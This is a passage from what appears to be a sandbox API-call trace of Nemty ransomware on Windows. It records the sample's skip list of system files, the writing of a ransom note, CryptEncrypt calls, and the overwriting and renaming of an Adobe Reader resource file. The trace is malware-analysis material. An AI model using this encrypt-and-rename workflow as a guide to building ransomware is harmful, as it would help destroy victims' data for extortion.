lpString2="ntldr") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="MSDOS.SYS") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="IO.SYS") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="boot.ini") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="boot.ini") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="AUTOEXEC.BAT") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="ntuser.dat") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="desktop.ini") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="CONFIG.SYS") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="RECYCLER") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="BOOTSECT.BAK") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="bootmgr") returned -1 [0216.576] lstrcmpiW (lpString1="11.00", lpString2="programdata") returned -1 [0216.577] lstrcmpiW (lpString1="11.00", lpString2="appdata") returned -1 [0216.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.00", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0216.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.00", cchWideChar=5, lpMultiByteStr=0x653e550, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.00", lpUsedDefaultChar=0x0) returned 5 [0216.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.00", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0216.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.00", cchWideChar=5, lpMultiByteStr=0x653e550, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.00", lpUsedDefaultChar=0x0) returned 5 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340328 [0216.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0216.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340438 [0216.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0216.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340438 | out: hHeap=0x4f90000) returned 1 [0216.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0216.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.586] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.586] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0216.587] CloseHandle (hObject=0x2f0) returned 1 [0216.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0216.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0216.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340438 [0216.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0216.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63440c0 [0216.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0216.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.589] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.589] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0216.589] CloseHandle (hObject=0x2f0) returned 1 [0216.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0216.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0216.590] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b99470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b99470, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0216.590] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0216.590] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x34b99470, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x34b99470, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0216.591] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0216.591] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0216.591] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1b35c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x203800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ara131.lex", cAlternateFileName="")) returned 1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2=".") returned 1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="..") returned 1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="...") returned 1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="windows") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="$RECYCLE.BIN") returned 1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="rsa") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="NTDETECT.COM") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="ntldr") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="MSDOS.SYS") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="IO.SYS") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="boot.ini") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="boot.ini") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="AUTOEXEC.BAT") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="ntuser.dat") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="desktop.ini") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="CONFIG.SYS") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="RECYCLER") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="BOOTSECT.BAK") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="bootmgr") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="programdata") returned -1 [0216.591] lstrcmpiW (lpString1="ara131.lex", lpString2="appdata") returned 1 [0216.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara131.lex", lpUsedDefaultChar=0x0) returned 10 [0216.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara131.lex", lpUsedDefaultChar=0x0) returned 10 [0216.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara131.lex", lpUsedDefaultChar=0x0) returned 10 [0216.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0216.592] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara131.lex", lpUsedDefaultChar=0x0) returned 10 [0216.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.592] Sleep (dwMilliseconds=0x5) [0216.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34be5730, dwHighDateTime=0x1d561e8)) [0216.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34be5730, dwHighDateTime=0x1d561e8)) [0216.604] GetLastError () returned 0xb7 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.604] GetLastError () returned 0xb7 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.604] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.604] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.604] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="/Yqi9eqzekqpGv0mW3cz6lacoUMc5NxLWFZx/Q4v/tnAd680+97rWoSglgP1TEJ2\r\nsJnwLjhgcNJCZqDidu6+OcoamlPXFY4WU5HVgtJlAkD+CmaEqA28mp25RRgxy6GU\r\njGPJKUipXxrj7sS+yI9STeFx380XlTH12zQjVnXMbR44AUEi6Xw39+JnVNMEU9jv\r\nIiTKCCZd51JFuTEDCoc73LJe4d+v1rgbzZgi90npNwgehH+Lkzof6biRsESmKBW5\r\nl7AV8fgQyi0FmiODsw1fMMCaT/Ug+pgYWkjyhLNMqF87LaFm4GeBbtedXEUauuEG\r\nKqW28VocAoQoIa9wrMmTuA==\r\n", pcchString=0x653df5c) returned 1 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.606] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2111488) returned 1 [0216.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0216.606] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.606] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.615] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.615] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.616] SetFilePointer (in: hFile=0x320, lDistanceToMove=2111488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x203800 [0216.616] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.619] CloseHandle (hObject=0x320) returned 1 [0216.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.619] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex._nemty_kgobjgd_")) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.620] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ara32.clx", cAlternateFileName="")) returned 1 [0216.620] lstrcmpiW (lpString1="ara32.clx", lpString2=".") returned 1 [0216.620] lstrcmpiW (lpString1="ara32.clx", lpString2="..") returned 1 [0216.620] lstrcmpiW (lpString1="ara32.clx", lpString2="...") returned 1 [0216.620] lstrcmpiW (lpString1="ara32.clx", lpString2="windows") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="rsa") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="NTDETECT.COM") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="ntldr") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="MSDOS.SYS") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="IO.SYS") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="boot.ini") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="boot.ini") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="AUTOEXEC.BAT") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="ntuser.dat") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="desktop.ini") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="CONFIG.SYS") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="RECYCLER") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="BOOTSECT.BAK") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="bootmgr") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="programdata") returned -1 [0216.621] lstrcmpiW (lpString1="ara32.clx", lpString2="appdata") returned 1 [0216.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.621] WideCharToMultiByte (in: 